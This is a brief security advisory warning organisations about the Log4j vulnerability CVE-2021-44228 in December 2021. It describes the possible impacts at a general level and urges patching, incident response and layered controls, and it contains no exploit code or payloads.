‘Log4J’ vulnerability exposes thousands of organisations to risk of immediate cyber attack

On Friday 10 December 2021, a critical ’zero-day’ vulnerability was discovered in popular and widely used Java based services. This vulnerability is contained within the Java library called Log4j and is widely adopted in many commercial and open source software products.

Cyber criminals are actively scanning for internet facing IT infrastructure that are susceptible to this exploit right now.

The vulnerability that the exploit takes advantage of is called ‘CVE-2021-44228’ and has been categorised as ‘Critical’, meaning that cyber attackers can use this to execute malicious code on affected systems.

This is a particularly unusual and wide-ranging vulnerability due to Log4j’s common use across the vast IT ecosystem.

It can affect any software or service that uses a vulnerable version of Log4j and is being actively exploited by cyber criminals now.

How could cyber attackers exploit the vulnerability?

There are many opportunities for cyber attackers to trigger the exploit that takes advantage of the vulnerability, which can be extremely simple for the attacker to execute.

What could be the impact?

The use cases are vast, including, but not limited to:

• data compromise
• the deployment of ransomware
• the deployment of crypto mining software (which depletes your system resources as it mines for cryptocurrency on behalf of cyber criminals).

What should I do?

Organisations need to ensure that those administering their technology should work at speed to identify any vulnerable instances of Log4j and patch immediately. This is a race against time between Administrators and cyber criminals, the former needing to identify instances across matrixed IT infrastructure that are affected, test and apply patches. However, patching does not remove already compromised systems that may have taken place. Organisations should implement incident response procedures and actively search for indications of compromise.

In some cases, it is not possible to patch without adversely affecting the business’s infrastructure. In these instances, a ‘defence in depth’ approach is needed by layering additional controls that reduce the impact of the exploit. An example could be disabling remote code bases.